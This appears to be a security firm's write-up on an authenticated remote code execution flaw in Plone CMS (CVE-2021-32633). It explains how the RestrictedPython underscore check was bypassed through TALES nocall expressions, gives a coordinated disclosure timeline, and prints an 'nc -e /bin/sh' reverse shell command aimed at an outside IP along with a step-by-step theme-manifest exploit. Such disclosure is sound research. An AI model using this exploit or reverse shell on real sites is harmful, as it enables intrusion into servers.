Join the journey into Plone CMS that lead us to discover an authenticated RCE vulnerability
Plone is a Python-based open source content management project actively developed since 2002. It is available in more than 40 languages, and comes with 196 add-ons. Plone has had over 89,000 commits made by close to 800 code contributors, representing close to 1,250,000 lines of code.
Trusted by the CIA, FBI and Others: The Central Intelligence Agency and the Federal Bureau of Investigation have chosen to trust their websites to Plone. Additionally, the government of Brazil, NASA, Disney and many other schools, governments and businesses around the world have chosen Plone for secure, enterprise web content management."
Within the reconnaissance & research phase, we’ve stumbled upon a recently disclosed security advisory posted on Github, related to an XXE vulnerability (Improper Restriction of XML External Entity Reference in Plone).
Hence we had a look at the Plone CMS, to both improve our own understanding
of patched vulnerabilities and
potentially find new vulnerabilities
In this write-up, we go into more detail on how we found an authenticated RCE vulnerability in Plone and how we ended up exploiting it - PoC included!
In order to get up and running quickly we’ve decided to make use of the official Docker image for our local Plone lab:
docker run -p 127.0.0.1:8080:8080 plone:5.2.4
After spawning the docker container and creating a new Plone site, we started exploring Plone’s features. Spending a good amount of time playing around with the plaethora of features in Plone, we started focusing on the Theming feature.
While skimming through Plone’s Theming Manual, we learned about an interesting feature available to theme authors called TALES expressions.
According to the theming manual, TALES expressions “work as they do in Zope Page Templates”. So we referred to the Zope documentation about TALES expressions to learn more about them.
Appendix C: 27.11. TALES Overview provides an overview of different TALES expression types which we can make use of in our templates:
- path - locate a value by its path.
- exists - test whether a path is valid.
- nocall - locate an object by its path.
- not - negate an expression.
- string - format a string.
- python - execute a Python expression.
python expression type seems very interesting, would this expression
type allow us to execute arbitrary Python code?
The more elaborate description under Appendix C: 27.16. TALES Python expressions tells us otherwise:
Python expressions evaluate Python code in a security-restricted environment. Python expressions offer the same facilities as those available in Python-based Scripts and DTML variable expressions. ... Python expressions are subject to Zope permission and role security restrictions. In addition, expressions cannot access objects whose names begin with underscore.
We started digging further into RestrictedPython with the main focus set on understanding the “security-restricted” environment under which python expressions are executed.
Zope, the foundation of Plone, makes use of RestrictedPython
to closely control what a theme author is allowed to execute within a
In essence, the Python expression is compiled and later executed (via eval) with a limited set
of globals available. Some globally available functions, like
delattr are replaced with custom wrapper functions to enforce
even more strict validation of what can and cannot be performed.
To get an idea of what is available to us inside the restricted environment, we
(inside the docker container) to dump the
globals argument passed to the
We ended up with the following output (shortened for brevity):
After inspecting the
random Python modules, we found a
potential way of executing arbitrary code:
random._os.system("nc -e /bin/sh 184.108.40.206 1337")
But this violates one of the security environment’s constraints, we are not allowed to access objects whose name starts with an underscore.
Finding a bypass
After pondering for a while and reading through the documentation on theming in a bit more detail, we learned that a subset of TALES expression types can be used inside the TALES python expression itself, as outlined at the end of chapter “220.127.116.11. Built-in Functions”:
These functions are available in Python expressions, but not in Python-based scripts: path(string) Evaluate a TALES path expression. string(string) Evaluate a TALES string expression. exists(string) Evaluates a TALES exists expression. nocall(string) Evaluates a TALES nocall expression.
After experimenting with other TALES expression types available inside the
python expression, we realized that the underscore restriction is not enforced
nocall. In other words, we can get a
random._os.system via the
nocall expression type.
This was the missing piece of the puzzle.
All we need to do now, is call the system function with a command of our choice.
The following steps lead to exploiting this vulnerability:
- Authenticate as a privileged user (with theme editing rights)
- Access the control panel and navigate to the
- Create a new Theme
manifest.cfgwith a new section called
- Populate the new section with the following TALES expression:
x = python:nocall("random/_os/system")("<code>")
<code>with a reverse shell payload
manifest.cfgand click the
Preview themebutton to trigger the payload
… and finally catch the shell:
To showcase the exploitation of this vulnerability, we’ve developed a PoC which will spawn a reverse shell. Head over to the cyllective/CVEs Github repo to check it out.
- 2021-04-24: Vulnerability discovered and reported to vendor and our customer
- 2021-04-24: Applied preliminary fix of the issue at the customers site
- 2021-04-24: Vendor response “Thanks for the report!”
- 2021-05-06: Vendor releases security vulnerability pre-announcement 20210518
- 2021-05-12: Vendor allocates CVE
- 2021-05-18: Vendor releases security hotfix 20210518
- 2021-05-22: Vendor publicly discloses CVE-2021-32633
- 2021-05-27: Write-up released